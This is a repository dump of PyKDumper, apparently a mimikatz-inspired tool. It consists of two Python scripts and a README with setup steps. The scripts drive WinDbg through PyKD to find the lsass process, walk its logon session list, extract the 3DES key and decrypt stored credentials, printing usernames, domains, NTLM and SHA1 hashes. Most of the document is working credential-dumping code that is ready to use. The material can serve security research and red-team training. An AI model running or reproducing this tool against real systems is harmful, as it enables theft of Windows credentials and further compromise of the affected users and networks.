├── PyKDumper ├── PyKDumper2.py └── PyKDumper3.py └── README.md /PyKDumper/PyKDumper2.py: -------------------------------------------------------------------------------- 1 | import pykd 2 | import sys 3 | import time 4 | from pyDes import * 5 | from binascii import unhexlify,hexlify 6 | 7 | # .load C:\Users\uf0\Desktop\pykd\pykd.dll 8 | # !py c:\users\uf0\desktop\lsass.py 9 | 10 | time_interval = 0.5 11 | blob = pykd.dbgCommand("!process 0 0 lsass.exe") 12 | eproc = blob.split(' ')[1] 13 | cmd1 = ".process /i /p /r %s" % eproc 14 | print cmd1 15 | pykd.dbgCommand(cmd1) 16 | time.sleep(time_interval) 17 | pykd.go() 18 | # reload userland modules 19 | pykd.dbgCommand(".reload /user") 20 | time.sleep(time_interval) 21 | 22 | #retrieve usename and logondomain 23 | users_blob = pykd.dbgCommand("!list -x \"dS @$extret+0x90;dS @$extret+0xa0\" poi(lsasrv!LogonSessionList)") 24 | users_pretty = users_blob.split('\n\n') 25 | try: 26 | first_user_data = users_pretty[0] # use this index to access multiple users 27 | first_user_data_neato = first_user_data.split('\n') 28 | first_username = first_user_data_neato[0].split(' ')[1] 29 | first_logondomain = first_user_data_neato[1].split(' ')[1] 30 | except IndexError: 31 | print '\n(!) User Data structure ERROR - try reloading the target debugee OS' 32 | sys.exit() 33 | 34 | # retrieve crypto blob from each user 35 | crypto_blob = pykd.dbgCommand("!list -x \"db poi(poi(@$extret+0x108)+0x10)+0x30 L1B0\" poi(lsasrv!LogonSessionList)") 36 | # parse it and polish it 37 | crypto_pretty = crypto_blob.split('\n\n') 38 | # saves the first user's blob 39 | first_user_crypto = crypto_pretty[0] 40 | 41 | # dump encrypted bytes of the 1st user 42 | first_user_crypto_neato = first_user_crypto.split(' ')[1::2] 43 | first_crypto = ''.join(first_user_crypto_neato) 44 | first_crypto = unhexlify(first_crypto.replace(" ", "").replace("-","")) 45 | print "\n(*) first user's crypto" 46 | print hexlify(first_crypto) 47 | 48 | # find 3DES key 49 | tripdes_key_blob = pykd.dbgCommand("db (poi(poi(lsasrv!h3DesKey)+0x10)+0x38)+4 L18") 50 | 51 | #print tripdes_key_blob 52 | tripdes_key = tripdes_key_blob.split(' ')[1::2][:2] 53 | tripdes_key = unhexlify("".join(tripdes_key).replace(" ", "").replace("-","")) 54 | print "\n(*) 3des key" 55 | print hexlify(tripdes_key) 56 | 57 | # decrypting the blob - the iv can be anything sinc CBC is not using it 58 | k = triple_des(tripdes_key, CBC, "\x00\x0d\x56\x99\x63\x93\x95\xd0") 59 | a = k.decrypt(first_crypto) 60 | decrypted_dump = ":".join("{:02x}".format(ord(c)) for c in a) 61 | #print "\n(*) Decrypted blob" 62 | #print decrypted_dum 63 | decrypted_dump_list = decrypted_dump.split(":") 64 | 65 | print "\n(*)USERNAME :" + first_username 66 | print "(*)LOGONDOMAIN :" + first_logondomain 67 | print "(*)NTLM :" + "".join(decrypted_dump_list[74:90]) 68 | print "(*)SHA1 :" + "".join(decrypted_dump_list[106:126]) 69 | 70 | -------------------------------------------------------------------------------- /PyKDumper/PyKDumper3.py: -------------------------------------------------------------------------------- 1 | import pykd 2 | from pykd import * 3 | import sys 4 | import time 5 | from pyDes import * 6 | from binascii import unhexlify,hexlify 7 | 8 | # support Python 3.8 9 | # can be run from local KD 10 | # .load C:\Users\uf0\Desktop\pykd\pykd.dll 11 | # !py c:\users\uf0\desktop\PyKDumper3.py 12 | 13 | 14 | nt = None 15 | EPROCESS = None 16 | 17 | def setupGlobalObject(): 18 | global nt, EPROCESS, ETHREAD 19 | try: 20 | nt = module("nt") 21 | EPROCESS = nt.type("_EPROCESS") 22 | except DbgException: 23 | dprintln("check symbol paths") 24 | 25 | def error_log(): 26 | print("\n(!) User Data structure ERROR - try reloading the target debugee OS") 27 | sys.exit() 28 | 29 | def main(): 30 | if not isKernelDebugging(): 31 | dprintln("This script is only for kernel debugging") 32 | return 33 | 34 | setupGlobalObject() 35 | 36 | #parse nt process list and find lsass eprocess 37 | processLst = nt.typedVarList(nt.PsActiveProcessHead, "_EPROCESS", "ActiveProcessLinks.Flink") 38 | for process in processLst: 39 | processName = loadCStr(process.ImageFileName) 40 | if processName == "lsass.exe": 41 | eproc = ("%x"% process ) 42 | 43 | time_interval = 0.4 44 | pykd.dbgCommand(".process /p /r %s" % eproc) 45 | time.sleep(time_interval) 46 | #pykd.go() 47 | # reload userland modules 48 | pykd.dbgCommand(".reload /user") 49 | time.sleep(time_interval) 50 | #retrieve usename and logondomain 51 | users_blob = (pykd.dbgCommand("!list -x \"dS @$extret+0x90;dS @$extret+0xa0\" poi(lsasrv!LogonSessionList)")).split('\n\n') 52 | try: 53 | first_user_data = (users_blob[0]).split('\n') # use this index to access multiple users 54 | first_username = first_user_data[0].split(' ')[1] 55 | first_logondomain = first_user_data[1].split(' ')[1] 56 | except IndexError: 57 | error_log() 58 | 59 | # retrieve crypto blob from each user 60 | crypto_blob = (pykd.dbgCommand("!list -x \"db poi(poi(@$extret+0x108)+0x10)+0x30 L1B0\" poi(lsasrv!LogonSessionList)")).split('\n\n') 61 | # saves the first user's blob 62 | first_user_crypto = ''.join(crypto_blob[0].split(' ')[1::2]) 63 | # dump encrypted bytes of the 1st user 64 | first_user_crypto_neato = first_user_crypto.split(' ')[1::2] 65 | first_crypto = ''.join(first_user_crypto_neato) 66 | try: 67 | first_user_crypto = unhexlify(first_user_crypto.replace(" ", "").replace("-","")) 68 | except binascii.Error: 69 | error_log() 70 | print("\n(*) first user's crypto") 71 | print(hexlify(first_user_crypto)) 72 | # find 3DES key 73 | tripdes_key_blob = pykd.dbgCommand("db (poi(poi(lsasrv!h3DesKey)+0x10)+0x38)+4 L18") 74 | # print tripdes_key_blob 75 | tripdes_key = tripdes_key_blob.split(' ')[1::2][:2] 76 | tripdes_key = unhexlify("".join(tripdes_key).replace(" ", "").replace("-","")) 77 | print("\n(*) 3des key") 78 | print(hexlify(tripdes_key)) 79 | # decrypting the blob - the iv can be anything sinc CBC is not using it 80 | k = triple_des(tripdes_key, CBC,bytes.fromhex('deadbeefdeadbeef')) 81 | a = k.decrypt(first_user_crypto) 82 | a = str(hexlify(a)) 83 | ntlm,sha1 = a[150:182],a[214:254] 84 | print("\n(*)USERNAME :" + first_username) 85 | print("(*)LOGONDOMAIN :" + first_logondomain) 86 | print("(*)NTLM :" + ntlm) 87 | print("(*)SHA1 :" + sha1) 88 | 89 | if __name__ == "__main__": 90 | main() 91 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PyKDumper 2 | 3 | **PykDumper** is mimimkatz inspired PyKD based script that retrieves and decrypt usernames,logonservers and credentials from the lsass process. 4 | * PyKDumper2.py supports Python2 5 | * PyKDumper3.py supports Python3 6 | 7 | ## Requirements 8 | 9 | * Python2.7 OR Python3.6 x64 on Windows (is preferred to have a single Python version installed) 10 | * PyKD x64 11 | * PyDes 12 | * WinDbg :) 13 | 14 | 15 | ## Features 16 | 17 | * Dumps user infos + credentials from lsass 18 | * A friendly guide to setup x64 PyKD 19 | 20 | ## To do: 21 | * AES support 22 | * further PyKD automation 23 | 24 | ## Installation and Setup 25 | We are going to cover only Py3 setup here, as Py2 is dead. 26 | 1. Download the latest PyKD x64 dll version [here](https://githomelab.ru/pykd/pykd-ext/-/wikis/Downloads) and copy it to: 27 | ``` 28 | C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\winext 29 | ``` 30 | 2. Verify that you can load it from windbg by getting a similar output (depending on version) 31 | 32 | ``` 33 | 0: kd> .load pykd 34 | 0: kd> !py 35 | Python 3.6.0 (v3.6.0:41df79263a11, Dec 23 2016, 08:06:12) [MSC v.1900 64 bit (AMD64)] on win32 36 | Type "help", "copyright", "credits" or "license" for more information. 37 | (InteractiveConsole) 38 | >>> 39 | ``` 40 | Make sure that the python interpreter loaded is also x64. 41 | 42 | 3. Install the pyKD python module by doing the following: 43 | 44 | ``` 45 | C:\>python pip install pykd 46 | ``` 47 | 48 | 4. I had some issues integrating the standard pycrypto module together with PyKD, so I decided to use only what I needed for thi PoC, a 3DES library, which can be installed as follows: 49 | 50 | ``` 51 | C:\>python pip install pyDes 52 | ``` 53 | 54 | 5. Remember to import pykd in your script 55 | ```python 56 | import pykd 57 | 58 | print pykd.dbgCommand("!process 0 0 lsass.exe") 59 | [...] 60 | ``` 61 | 62 | 6. If everything is correctly setup, then you can call the script from within windbg: 63 | ``` 64 | 0: kd> .load pykd 65 | 0: kd> !py 66 | ``` 67 | 68 | ## Sample Output 69 | ![alt text](https://www.matteomalvica.com/img/lsass/output.png) 70 | 71 | ## Reference 72 | https://www.matteomalvica.com/blog/2020/01/20/mimikatz-lsass-dump-windg-pykd/ 73 | --------------------------------------------------------------------------------